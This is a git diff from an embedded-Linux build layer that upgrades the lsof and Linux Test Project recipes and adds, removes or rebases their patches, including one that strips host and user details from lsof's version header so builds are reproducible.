25+ @echo '#define LSOF_CCV ""' >> version.h
26+ @echo '#define LSOF_CCDATE ""' >> version.h
27+ @echo '#define LSOF_CCFLAGS ""' >> version.h
28 @echo '#define LSOF_CINFO "${CINFO}"' >> version.h
29- @if [ "X${LSOF_HOST}" = "X" ]; then \
30- echo '#define LSOF_HOST "'`uname -n`'"' >> version.h; \
31- else \
32- if [ "${LSOF_HOST}" = "none" ]; then \
33- echo '#define LSOF_HOST ""' >> version.h; \
34- else \
35- echo '#define LSOF_HOST "${LSOF_HOST}"' >> version.h; \
36- fi \
37- fi
38- @echo '#define LSOF_LDFLAGS "${CFGL}"' >> version.h
39- @if [ "X${LSOF_LOGNAME}" = "X" ]; then \
40- echo '#define LSOF_LOGNAME "${LOGNAME}"' >> version.h; \
41- else \
42- if [ "${LSOF_LOGNAME}" = "none" ]; then \
43- echo '#define LSOF_LOGNAME ""' >> version.h; \
44- else \
45- echo '#define LSOF_LOGNAME "${LSOF_LOGNAME}"' >> version.h; \
46- fi; \
47- fi
48- @if [ "X${LSOF_SYSINFO}" = "X" ]; then \
49- echo '#define LSOF_SYSINFO "'`uname -a`'"' >> version.h; \
50- else \
51- if [ "${LSOF_SYSINFO}" = "none" ]; then \
52- echo '#define LSOF_SYSINFO ""' >> version.h; \
53- else \
54- echo '#define LSOF_SYSINFO "${LSOF_SYSINFO}"' >> version.h; \
55- fi \
56- fi
57- @if [ "X${LSOF_USER}" = "X" ]; then \
58- echo '#define LSOF_USER "${USER}"' >> version.h; \
59- else \
60- if [ "${LSOF_USER}" = "none" ]; then \
61- echo '#define LSOF_USER ""' >> version.h; \
62- else \
63- echo '#define LSOF_USER "${LSOF_USER}"' >> version.h; \
64- fi \
65- fi
66+ @echo '#define LSOF_HOST ""' >> version.h;
67+ @echo '#define LSOF_LDFLAGS ""' >> version.h
68+ @echo '#define LSOF_LOGNAME ""' >> version.h;
69+ @echo '#define LSOF_SYSINFO ""' >> version.h;
70+ @echo '#define LSOF_USER ""' >> version.h;
71 @sed '/VN/s/.ds VN \(.*\)/#define LSOF_VERSION "\1"/' < version >> version.h
72
73 FRC:
74--
751.7.9.5
76
diff --git a/meta/recipes-extended/lsof/files/remove-host-information.patch b/meta/recipes-extended/lsof/files/remove-host-information.patch
new file mode 100644
index 0000000000..1f2b4afa69
--- /dev/null
+++ b/meta/recipes-extended/lsof/files/remove-host-information.patch
@@ -0,0 +1,123 @@
1From 4f05492ac07a7bbaf06dd8265b9cba329e1b53e9 Mon Sep 17 00:00:00 2001
2From: Ross Burton <ross.burton@arm.com>
3Date: Wed, 30 Aug 2017 15:05:16 +0800
4Subject: [PATCH] lsof: remove host information from version.h
5
6lsof doesn't embed the username or hostname in the build if SOURCE_DATE_EPOCH is
7defined, but this still embeds build paths. Delete all of the host details to
8ensure that no host information is leaked into the binary.
9
10Upstream-Status: Inappropriate
11Signed-off-by: Ross Burton <ross.burton@arm.com>
12Signed-off-by: Alexander Kanavin <alex@linutronix.de>
13---
14 autotools/version.h.in | 16 ++++-----
15 lib/dialects/linux/Makefile | 69 ++++++-------------------------------
16 2 files changed, 19 insertions(+), 66 deletions(-)
17
18diff --git a/autotools/version.h.in b/autotools/version.h.in
19index aac0b80..2e635a5 100644
20--- a/autotools/version.h.in
21+++ b/autotools/version.h.in
22@@ -37,13 +37,13 @@
23
24 #include "config.h"
25 #define LSOF_VERSION PACKAGE_VERSION
26-#define LSOF_HOST "@host@"
27-#define LSOF_LOGNAME "@logname@"
28-#define LSOF_USER "@user@"
29-#define LSOF_CC "@cc@"
30-#define LSOF_CCV "@ccv@"
31-#define LSOF_CCFLAGS "@ccflags@"
32-#define LSOF_LDFLAGS "@ldflags@"
33-#define LSOF_SYSINFO "@sysinfo@"
34+#define LSOF_HOST ""
35+#define LSOF_LOGNAME ""
36+#define LSOF_USER ""
37+#define LSOF_CC ""
38+#define LSOF_CCV ""
39+#define LSOF_CCFLAGS ""
40+#define LSOF_LDFLAGS ""
41+#define LSOF_SYSINFO ""
42
43 #endif
44diff --git a/lib/dialects/linux/Makefile b/lib/dialects/linux/Makefile
45index f8adaa6..7a79ca7 100644
46--- a/lib/dialects/linux/Makefile
47+++ b/lib/dialects/linux/Makefile
48@@ -83,64 +83,17 @@ ${LIB}: FRC
49 version.h: FRC
50 @echo Constructing version.h
51 @rm -f version.h
52- @echo '#define LSOF_BLDCMT "${LSOF_BLDCMT}"' > version.h;
53- @echo '#define LSOF_CC "${CC}"' >> version.h
54- @echo '#define LSOF_CCV "${CCV}"' >> version.h
55- @echo '#define LSOF_CCFLAGS "'`echo ${CFLAGS} | sed 's/\\\\(/\\(/g' | sed 's/\\\\)/\\)/g' | sed 's/"/\\\\"/g'`'"' >> version.h
56- @echo '#define LSOF_CINFO "${CINFO}"' >> version.h
57- @if [ "X${LSOF_HOST}" = "X" ]; then \
58- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
59- echo '#define LSOF_HOST "'`uname -n`'"' >> version.h; \
60- else \
61- echo '#define LSOF_HOST ""' >> version.h; \
62- fi \
63- else \
64- if [ "${LSOF_HOST}" = "none" ]; then \
65- echo '#define LSOF_HOST ""' >> version.h; \
66- else \
67- echo '#define LSOF_HOST "${LSOF_HOST}"' >> version.h; \
68- fi \
69- fi
70- @echo '#define LSOF_LDFLAGS "${CFGL}"' >> version.h
71- @if [ "X${LSOF_LOGNAME}" = "X" ]; then \
72- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
73- echo '#define LSOF_LOGNAME "${LOGNAME}"' >> version.h; \
74- else \
75- echo '#define LSOF_LOGNAME ""' >> version.h; \
76- fi \
77- else \
78- if [ "${LSOF_LOGNAME}" = "none" ]; then \
79- echo '#define LSOF_LOGNAME ""' >> version.h; \
80- else \
81- echo '#define LSOF_LOGNAME "${LSOF_LOGNAME}"' >> version.h; \
82- fi; \
83- fi
84- @if [ "X${LSOF_SYSINFO}" = "X" ]; then \
85- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
86- echo '#define LSOF_SYSINFO "'`uname -a`'"' >> version.h; \
87- else \
88- echo '#define LSOF_SYSINFO ""' >> version.h; \
89- fi \
90- else \
91- if [ "${LSOF_SYSINFO}" = "none" ]; then \
92- echo '#define LSOF_SYSINFO ""' >> version.h; \
93- else \
94- echo '#define LSOF_SYSINFO "${LSOF_SYSINFO}"' >> version.h; \
95- fi \
96- fi
97- @if [ "X${LSOF_USER}" = "X" ]; then \
98- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
99- echo '#define LSOF_USER "${USER}"' >> version.h; \
100- else \
101- echo '#define LSOF_USER ""' >> version.h; \
102- fi \
103- else \
104- if [ "${LSOF_USER}" = "none" ]; then \
105- echo '#define LSOF_USER ""' >> version.h; \
106- else \
107- echo '#define LSOF_USER "${LSOF_USER}"' >> version.h; \
108- fi \
109- fi
110+
111+ @echo '#define LSOF_BLDCMT ""' > version.h;
112+ @echo '#define LSOF_CC ""' >> version.h
113+ @echo '#define LSOF_CCV ""' >> version.h
114+ @echo '#define LSOF_CCFLAGS ""' >> version.h
115+ @echo '#define LSOF_CINFO ""' >> version.h
116+ @echo '#define LSOF_HOST ""' >> version.h
117+ @echo '#define LSOF_LDFLAGS ""' >> version.h
118+ @echo '#define LSOF_LOGNAME ""' >> version.h
119+ @echo '#define LSOF_SYSINFO ""' >> version.h
120+ @echo '#define LSOF_USER ""' >> version.h
121 @sed '/VN/s/.ds VN \(.*\)/#define LSOF_VERSION "\1"/' < version >> version.h
122
123 FRC:
diff --git a/meta/recipes-extended/lsof/lsof_4.91.bb b/meta/recipes-extended/lsof/lsof_4.91.bb
deleted file mode 100644
index b3adfd57af..0000000000
--- a/meta/recipes-extended/lsof/lsof_4.91.bb
+++ /dev/null
@@ -1,63 +0,0 @@
1SUMMARY = "LiSt Open Files tool"
2DESCRIPTION = "Lsof is a Unix-specific diagnostic tool. \
3Its name stands for LiSt Open Files, and it does just that."
4HOMEPAGE = "http://people.freebsd.org/~abe/"
5SECTION = "devel"
6LICENSE = "BSD"
7LIC_FILES_CHKSUM = "file://00README;beginline=645;endline=679;md5=964df275d26429ba3b39dbb9f205172a"
8
9# Upstream lsof releases are hosted on an ftp server which times out download
10# attempts from hosts for which it can not perform a DNS reverse-lookup (See:
11# https://people.freebsd.org/~abe/ ). http://www.mirrorservice.org seems to be
12# the most commonly used alternative.
13
14SRC_URI = "http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/lsof_${PV}.tar.bz2 \
15 file://lsof-remove-host-information.patch \
16 "
17
18SRC_URI[md5sum] = "148ed410cb52e08c2adc0c60f480f11f"
19SRC_URI[sha256sum] = "c9da946a525fbf82ff80090b6d1879c38df090556f3fe0e6d782cb44172450a3"
20
21LOCALSRC = "file://${WORKDIR}/lsof_${PV}/lsof_${PV}_src.tar"
22
23S = "${WORKDIR}/lsof_${PV}_src"
24
25python do_unpack () {
26 if not bb.data.inherits_class('externalsrc', d) or not d.getVar('EXTERNALSRC'):
27 # temporarily change S for unpack of lsof_${PV}
28 s = d.getVar('S', False)
29 d.setVar('S', '${WORKDIR}/lsof_${PV}')
30 bb.build.exec_func('base_do_unpack', d)
31 # temporarily change SRC_URI for unpack of lsof_${PV}_src
32 src_uri = d.getVar('SRC_URI', False)
33 d.setVar('SRC_URI', '${LOCALSRC}')
34 d.setVar('S', s)
35 bb.build.exec_func('base_do_unpack', d)
36 d.setVar('SRC_URI', src_uri)
37}
38
39export LSOF_INCLUDE = "${STAGING_INCDIR}"
40
41do_configure () {
42 export LSOF_AR="${AR} cr"
43 export LSOF_RANLIB="${RANLIB}"
44 if [ "x${GLIBCVERSION}" != "x" ]; then
45 LINUX_CLIB=`echo ${GLIBCVERSION} |sed -e 's,\.,,g'`
46 LINUX_CLIB="-DGLIBCV=${LINUX_CLIB}"
47 export LINUX_CLIB
48 fi
49 yes | ./Configure linux
50}
51
52export I = "${STAGING_INCDIR}"
53export L = "${STAGING_INCDIR}"
54
55do_compile () {
56 oe_runmake 'CC=${CC}' 'CFGL=${LDFLAGS} -L./lib -llsof' 'DEBUG=' 'INCL=${CFLAGS}'
57}
58
59do_install () {
60 install -d ${D}${sbindir} ${D}${mandir}/man8
61 install -m 0755 lsof ${D}${sbindir}/lsof
62 install -m 0644 lsof.8 ${D}${mandir}/man8/lsof.8
63}
diff --git a/meta/recipes-extended/lsof/lsof_4.99.3.bb b/meta/recipes-extended/lsof/lsof_4.99.3.bb
new file mode 100644
index 0000000000..93e91fb427
--- /dev/null
+++ b/meta/recipes-extended/lsof/lsof_4.99.3.bb
@@ -0,0 +1,23 @@
1SUMMARY = "LiSt Open Files tool"
2DESCRIPTION = "Lsof is a Unix-specific diagnostic tool. \
3Its name stands for LiSt Open Files, and it does just that."
4HOMEPAGE = "http://people.freebsd.org/~abe/"
5SECTION = "devel"
6LICENSE = "Spencer-94"
7LIC_FILES_CHKSUM = "file://COPYING;md5=a48ac97a8550eff12395a2c0d6151510"
8
9SRC_URI = "git://github.com/lsof-org/lsof;branch=master;protocol=https \
10 file://remove-host-information.patch"
11SRCREV = "2e4c7a1a9bc7258dc5b6a3ab28ebca44174279a8"
12
13S = "${WORKDIR}/git"
14
15inherit update-alternatives autotools pkgconfig manpages
16PACKAGECONFIG[manpages] = ""
17
18DEPENDS += "groff-native"
19
20ALTERNATIVE:${PN} = "lsof"
21ALTERNATIVE_LINK_NAME[lsof] = "${bindir}/lsof"
22# Make our priority higher than busybox
23ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch b/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch
deleted file mode 100644
index f2fc8ee958..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch
+++ /dev/null
@@ -1,32 +0,0 @@
1From ad8e73306cb8293f7d32841e1599fd9048801f1f Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex.kanavin@gmail.com>
3Date: Fri, 20 Dec 2019 13:06:05 +0100
4Subject: [PATCH] Add more musl exclusions
5
6Upstream-Status: Pending
7Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
8[ pvorel: rebase for 20200515: enable accept4_01 ]
9[ pvorel: rebase for 20200120: enable fanotify13, fanotify15, setxattr03 ]
10Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
11---
12 testcases/kernel/syscalls/timer_create/Makefile | 4 ++++
13 1 file changed, 4 insertions(+)
14
15diff --git a/testcases/kernel/syscalls/timer_create/Makefile b/testcases/kernel/syscalls/timer_create/Makefile
16index ada241fe1..d454b01e7 100644
17--- a/testcases/kernel/syscalls/timer_create/Makefile
18+++ b/testcases/kernel/syscalls/timer_create/Makefile
19@@ -5,6 +5,10 @@ top_srcdir ?= ../../../..
20
21 include $(top_srcdir)/include/mk/testcases.mk
22
23+ifeq ($(LIBC),musl)
24+FILTER_OUT_MAKE_TARGETS := timer_create01 timer_create03
25+endif
26+
27 CPPFLAGS += -D_GNU_SOURCE -I$(abs_srcdir)/../include
28
29 LDLIBS += -lpthread -lrt
30--
312.26.2
32
diff --git a/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
index e51950f153..cc98079651 100644
--- a/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
+++ b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
@@ -1,4 +1,4 @@
1From 93772c511d954d755cc9128c58ed8968a5af541b Mon Sep 17 00:00:00 2001 1From e87c2ad1e16cdbd62ba71b2ace3270503decaa56 Mon Sep 17 00:00:00 2001
2From: "Mingde (Matthew) Zeng" <matthewzmd@gmail.com> 2From: "Mingde (Matthew) Zeng" <matthewzmd@gmail.com>
3Date: Wed, 29 Jul 2020 08:47:09 -0400 3Date: Wed, 29 Jul 2020 08:47:09 -0400
4Subject: [PATCH] Remove OOM tests from runtest/mm 4Subject: [PATCH] Remove OOM tests from runtest/mm
@@ -7,16 +7,17 @@ Disable OOM tests, as they might cause oeqa ssh connection lost
7 7
8Upstream-Status: Inappropriate [oe-core specific] 8Upstream-Status: Inappropriate [oe-core specific]
9Signed-off-by: Mingde (Matthew) Zeng <matthew.zeng@windriver.com> 9Signed-off-by: Mingde (Matthew) Zeng <matthew.zeng@windriver.com>
10 10[ pvorel: rebased for 20210927 ]
11Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
11--- 12---
12 runtest/mm | 6 ------ 13 runtest/mm | 6 ------
13 1 file changed, 6 deletions(-) 14 1 file changed, 6 deletions(-)
14 15
15diff --git a/runtest/mm b/runtest/mm 16diff --git a/runtest/mm b/runtest/mm
16index 481d39691..cf207d10e 100644 17index d859b331c..3c2962f44 100644
17--- a/runtest/mm 18--- a/runtest/mm
18+++ b/runtest/mm 19+++ b/runtest/mm
19@@ -74,12 +74,6 @@ ksm06_2 ksm06 -n 10000 20@@ -74,12 +74,6 @@ ksm07 ksm07
20 21
21 cpuset01 cpuset01 22 cpuset01 cpuset01
22 23
@@ -29,3 +30,6 @@ index 481d39691..cf207d10e 100644
29 swapping01 swapping01 -i 5 30 swapping01 swapping01 -i 5
30 31
31 thp01 thp01 -I 120 32 thp01 thp01 -I 120
33--
342.43.0
35
diff --git a/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch b/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch
deleted file mode 100644
index 29b2bf7e41..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch
+++ /dev/null
@@ -1,81 +0,0 @@
1From 74958c3e341de713b596c8cfd35b2391d6c7bc09 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Thu, 7 Jan 2016 18:19:03 +0000
4Subject: [PATCH] build: Add option to select libc implementation
5
6There are more than glibc for C library implementation available on
7linux now a days, uclibc cloaked like glibc but musl e.g. is very
8different and does not implement all GNU extensions.
9
10Disable tests specifically not building _yet_ on musl based systems
11
12Upstream-Status: Pending (pvorel: this is not going to be fixed, instead
13each test needs to be fixed)
14
15rt_tgsigqueueinfo fails with:
16rt_tgsigqueueinfo01.c: In function 'sigusr1_handler':
17rt_tgsigqueueinfo01.c:42:22: error: 'siginfo_t' {aka 'struct <anonymous>'} has no member named '_sifields'; did you mean '__si_fields'?
18 42 | sigval_rcv = uinfo->_sifields._rt.SI_SIGVAL.sival_ptr;
19 | ^~~~~~~~~
20 | __si_fields
21
22Signed-off-by: Khem Raj <raj.khem@gmail.com>
23[ pvorel: rebase for 20200515: enable pty, ioctl ]
24[ pvorel: rebase for 20200120: enable mallopt, profil, rpc016,
25rt_sigsuspend, sbrk_mutex, setdomainname, sethostname, sigsuspend,
26testpi-3, testpi-5, testpi-6, ustat; move rt_tgsigqueueinfo
27from 0006-rt_tgsigqueueinfo-disable-test-on-musl.patch ]
28Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
29---
30 Makefile | 5 +++++
31 testcases/kernel/sched/Makefile | 4 +++-
32 testcases/kernel/syscalls/Makefile | 4 ++++
33 3 files changed, 12 insertions(+), 1 deletion(-)
34
35diff --git a/Makefile b/Makefile
36index 768ca4606..e9d679a71 100644
37--- a/Makefile
38+++ b/Makefile
39@@ -41,6 +41,11 @@ vpath %.mk $(top_srcdir)/mk:$(top_srcdir)/mk/include
40 UCLINUX ?= 0
41 export UCLINUX
42
43+# System C library implementation (glibc,uclibc,musl etc.)
44+# default to glibc if not set
45+LIBC ?= glibc
46+export LIBC
47+
48 # CLEAN_TARGETS: Targets which exist solely in clean.
49 # COMMON_TARGETS: Targets which exist in all, clean, and install.
50 # INSTALL_TARGETS: Targets which exist in clean and install (contains
51diff --git a/testcases/kernel/sched/Makefile b/testcases/kernel/sched/Makefile
52index 6a57d79ee..74bb93370 100644
53--- a/testcases/kernel/sched/Makefile
54+++ b/testcases/kernel/sched/Makefile
55@@ -23,5 +23,7 @@
56 top_srcdir ?= ../../..
57
58 include $(top_srcdir)/include/mk/env_pre.mk
59-
60+ifeq ($(LIBC),musl)
61+ FILTER_OUT_DIRS += process_stress
62+endif
63 include $(top_srcdir)/include/mk/generic_trunk_target.mk
64diff --git a/testcases/kernel/syscalls/Makefile b/testcases/kernel/syscalls/Makefile
65index c6dc8d9e7..aa50761ea 100644
66--- a/testcases/kernel/syscalls/Makefile
67+++ b/testcases/kernel/syscalls/Makefile
68@@ -15,6 +15,10 @@ FILTER_OUT_DIRS += capget capset chmod chown clone fork getcontext llseek \
69 mincore mprotect nftw profil remap_file_pages sbrk
70 endif
71
72+ifeq ($(LIBC),musl)
73+FILTER_OUT_DIRS += confstr fmtmsg getcontext rt_tgsigqueueinfo
74+endif
75+
76 ifeq ($(UCLIBC),1)
77 FILTER_OUT_DIRS += profil
78 endif
79--
802.26.2
81
diff --git a/meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch b/meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch
new file mode 100644
index 0000000000..4a50d1ae38
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch
@@ -0,0 +1,34 @@
1From 14c710cae38aa96bd8d681e891b6a1d691f99988 Mon Sep 17 00:00:00 2001
2From: Xiangyu Chen <xiangyu.chen@windriver.com>
3Date: Thu, 14 Mar 2024 09:47:10 +0800
4Subject: [PATCH] scenario_groups/default: remove connectors
5
6runtest/connectors was removed in 9b642d89c, thus update scenario_groups/default.
7
8Fixes: 9b642d89c ("runtest: Merge runtest/connectors to kernel_misc")
9Closes: https://github.com/linux-test-project/ltp/pull/1144
10
11Upstream-Status: Backport from
12[https://github.com/linux-test-project/ltp/commit/14c710ca]
13
14Reviewed-by: Petr Vorel <pvorel@suse.cz>
15Signed-off-by: Xiangyu Chen <xiangyu.chen@windriver.com>
16---
17 scenario_groups/default | 1 -
18 1 file changed, 1 deletion(-)
19
20diff --git a/scenario_groups/default b/scenario_groups/default
21index f17b2061a..ec77d8fb8 100644
22--- a/scenario_groups/default
23+++ b/scenario_groups/default
24@@ -16,7 +16,6 @@ controllers
25 filecaps
26 cap_bounds
27 fcntl-locktests
28-connectors
29 power_management_tests
30 hugetlb
31 commands
32--
332.34.1
34
diff --git a/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch b/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch
deleted file mode 100644
index 0e7264574f..0000000000
--- a/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch
+++ /dev/null
@@ -1,32 +0,0 @@
1From f4fafbdffae3a63c81f65cef98c72dda26283e06 Mon Sep 17 00:00:00 2001
2From: Dengke Du <dengke.du@windriver.com>
3Date: Wed, 8 Feb 2017 16:17:17 +0800
4Subject: [PATCH] Fix test_proc_kill hanging
5
6Sometimes the signal is delivered to memcg_process before the framework took
7into consideration its pid entered in the tasks. Fixed by delaying the signal
8send command.
9
10Upstream-Status: Pending
11
12Signed-off-by: George Nita <george.nita@enea.com>
13Signed-off-by: Dengke Du <dengke.du@windriver.com>
14---
15 testcases/kernel/controllers/memcg/functional/memcg_lib.sh | 1 +
16 1 file changed, 1 insertion(+)
17
18diff --git a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
19index aadaae4..deea5d6 100755
20--- a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
21+++ b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
22@@ -291,6 +291,7 @@ test_proc_kill()
23 pid=$!
24 TST_CHECKPOINT_WAIT 0
25 echo $pid > tasks
26+ sleep 1
27
28 signal_memcg_process $pid $3
29
30--
312.7.4
32
diff --git a/meta/recipes-extended/ltp/ltp/determinism.patch b/meta/recipes-extended/ltp/ltp/determinism.patch
deleted file mode 100644
index 76d40721b8..0000000000
--- a/meta/recipes-extended/ltp/ltp/determinism.patch
+++ /dev/null
@@ -1,43 +0,0 @@
1open_posix_testsuite/generate-makefiles.sh: Fix determinism issue
2
3Currently the list of tests is generated by the order of the files found
4within the directories. This results in differences in the run.sh and
5Makefiles. Within Yocto Project this results in differing target
6test packages. The fix is simple, just sort the output from locate-test.
7
8mk/lib.mk: Sort wildcard expansion for determinism
9
10The order of the objects linked into libltp.a varies depending on the
11order of the files found on disk. This results in most ltp binaries
12differing depending on that order too.
13
14Sort the wildcard expansion of *.c which leads to reproducible binaries.
15
16Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
17Upstream-Status: Submitted [http://lists.linux.it/pipermail/ltp/2021-March/021272.html http://lists.linux.it/pipermail/ltp/2021-March/021273.html]
18
19Index: git/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
20===================================================================
21--- git.orig/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
22+++ git/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
23@@ -24,7 +24,7 @@ generate_locate_test_makefile() {
24
25 echo "Generating $maketype Makefiles"
26
27- locate-test --$maketype | sed -e 's,^./,,g' > make-gen.$maketype
28+ locate-test --$maketype | sed -e 's,^./,,g' | sort > make-gen.$maketype
29
30 generate_makefiles make-gen.$maketype $*
31
32Index: git/include/mk/lib.mk
33===================================================================
34--- git.orig/include/mk/lib.mk
35+++ git/include/mk/lib.mk
36@@ -50,6 +50,7 @@ endif
37 MAKE_TARGETS += $(LIB)
38
39 LIBSRCS ?= $(wildcard $(abs_srcdir)/*.c)
40+LIBSRCS := $(sort $(LIBSRCS))
41 LIBSRCS := $(abspath $(LIBSRCS))
42 LIBSRCS := $(subst $(abs_srcdir)/,,$(wildcard $(LIBSRCS)))
43 LIBSRCS := $(filter-out $(FILTER_OUT_LIBSRCS),$(LIBSRCS))
diff --git a/meta/recipes-extended/ltp/ltp_20210121.bb b/meta/recipes-extended/ltp/ltp_20240129.bb
index 593f07087c..3e896957d1 100644
--- a/meta/recipes-extended/ltp/ltp_20210121.bb
+++ b/meta/recipes-extended/ltp/ltp_20240129.bb
@@ -2,49 +2,53 @@ SUMMARY = "Linux Test Project"
2DESCRIPTION = "The Linux Test Project is a joint project with SGI, IBM, OSDL, and Bull with a goal to deliver test suites to the open source community that validate the reliability, robustness, and stability of Linux. The Linux Test Project is a collection of tools for testing the Linux kernel and related features." 2DESCRIPTION = "The Linux Test Project is a joint project with SGI, IBM, OSDL, and Bull with a goal to deliver test suites to the open source community that validate the reliability, robustness, and stability of Linux. The Linux Test Project is a collection of tools for testing the Linux kernel and related features."
3HOMEPAGE = "https://linux-test-project.github.io/" 3HOMEPAGE = "https://linux-test-project.github.io/"
4SECTION = "console/utils" 4SECTION = "console/utils"
5LICENSE = "GPLv2 & GPLv2+ & LGPLv2+ & LGPLv2.1+ & BSD-2-Clause" 5LICENSE = "GPL-2.0-only & GPL-2.0-or-later & LGPL-2.0-or-later & LGPL-2.1-or-later & BSD-2-Clause"
6LIC_FILES_CHKSUM = "\ 6LIC_FILES_CHKSUM = "\
7 file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ 7 file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
8 file://testcases/kernel/controllers/freezer/COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
9 file://testcases/kernel/controllers/freezer/run_freezer.sh;beginline=5;endline=17;md5=86a61d2c042d59836ffb353a21456498 \
10 file://testcases/kernel/hotplug/memory_hotplug/COPYING;md5=e04a2e542b2b8629bf9cd2ba29b0fe41 \
11 file://testcases/kernel/hotplug/cpu_hotplug/COPYING;md5=e04a2e542b2b8629bf9cd2ba29b0fe41 \
12 file://testcases/open_posix_testsuite/COPYING;md5=48b1c5ec633e3e30ec2cf884ae699947 \ 8 file://testcases/open_posix_testsuite/COPYING;md5=48b1c5ec633e3e30ec2cf884ae699947 \
13 file://testcases/realtime/COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \ 9 file://testcases/network/can/filter-tests/COPYING;md5=5b155ea7d7f86eae8e8832955d8b70bc \
14 file://utils/benchmark/kernbench-0.42/COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
15" 10"
16 11
17DEPENDS = "attr libaio libcap acl openssl zip-native" 12DEPENDS = "attr libaio libcap acl openssl zip-native"
18DEPENDS_append_libc-musl = " fts " 13DEPENDS:append:libc-musl = " fts "
19EXTRA_OEMAKE_append_libc-musl = " LIBC=musl " 14EXTRA_OEMAKE:append:libc-musl = " LIBC=musl "
20EXTRA_OECONF_append_libc-musl = " LIBS=-lfts " 15EXTRA_OECONF:append:libc-musl = " LIBS=-lfts "
21 16
22# since ltp contains x86-64 assembler which uses the frame-pointer register, 17# since ltp contains x86-64 assembler which uses the frame-pointer register,
23# set -fomit-frame-pointer x86-64 to handle cases where optimisation 18# set -fomit-frame-pointer x86-64 to handle cases where optimisation
24# is set to -O0 or frame pointers have been enabled by -fno-omit-frame-pointer 19# is set to -O0 or frame pointers have been enabled by -fno-omit-frame-pointer
25# earlier in CFLAGS, etc. 20# earlier in CFLAGS, etc.
26CFLAGS_append_x86-64 = " -fomit-frame-pointer" 21CFLAGS:append:x86-64 = " -fomit-frame-pointer"
22TUNE_CCARGS:remove:x86 = "-mfpmath=sse"
23TUNE_CCARGS:remove:x86-64 = "-mfpmath=sse"
27 24
28CFLAGS_append_powerpc64 = " -D__SANE_USERSPACE_TYPES__" 25CFLAGS:append:powerpc64 = " -D__SANE_USERSPACE_TYPES__"
29CFLAGS_append_mipsarchn64 = " -D__SANE_USERSPACE_TYPES__" 26CFLAGS:append:mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
30SRCREV = "4d005621edd109d119627eb9210b224a63bf22cb" 27SRCREV = "68737d20556d37364c95776044b1119c0912a36a"
31 28
32# remove at next version upgrade or when output changes 29SRC_URI = "git://github.com/linux-test-project/ltp.git;branch=master;protocol=https \
33PR = "r1"
34HASHEQUIV_HASH_VERSION .= ".1"
35
36SRC_URI = "git://github.com/linux-test-project/ltp.git \
37 file://0001-build-Add-option-to-select-libc-implementation.patch \
38 file://0007-Fix-test_proc_kill-hanging.patch \
39 file://0001-Add-more-musl-exclusions.patch \
40 file://0001-Remove-OOM-tests-from-runtest-mm.patch \ 30 file://0001-Remove-OOM-tests-from-runtest-mm.patch \
41 file://determinism.patch \ 31 file://0001-scenario_groups-default-remove-connectors.patch \
42 " 32 "
43 33
44S = "${WORKDIR}/git" 34S = "${WORKDIR}/git"
45 35
46inherit autotools-brokensep pkgconfig 36inherit autotools-brokensep pkgconfig
47 37
38# Version 20220527 added KVM test infrastructure which currently fails to build with gold due to
39# SORT_NONE in linker script which isn't supported by gold:
40# https://sourceware.org/bugzilla/show_bug.cgi?id=18097
41# https://github.com/linux-test-project/ltp/commit/3fce2064b54843218d085aae326c8f7ecf3a8c41#diff-39268f0855c634ca48c8993fcd2c95b12a65b79e8d9fa5ccd6b0f5a8785c0dd6R36
42LDFLAGS:append = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd', '', d)}"
43LDFLAGS:append = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-lld', ' -fuse-ld=bfd', '', d)}"
44
45# After 0002-kvm-use-LD-instead-of-hardcoding-ld.patch
46# https://github.com/linux-test-project/ltp/commit/f94e0ef3b7280f886384703ef9019aaf2f2dfebb
47# it fails with gold also a bit later when trying to use *-payload.bin
48# http://errors.yoctoproject.org/Errors/Details/663094/
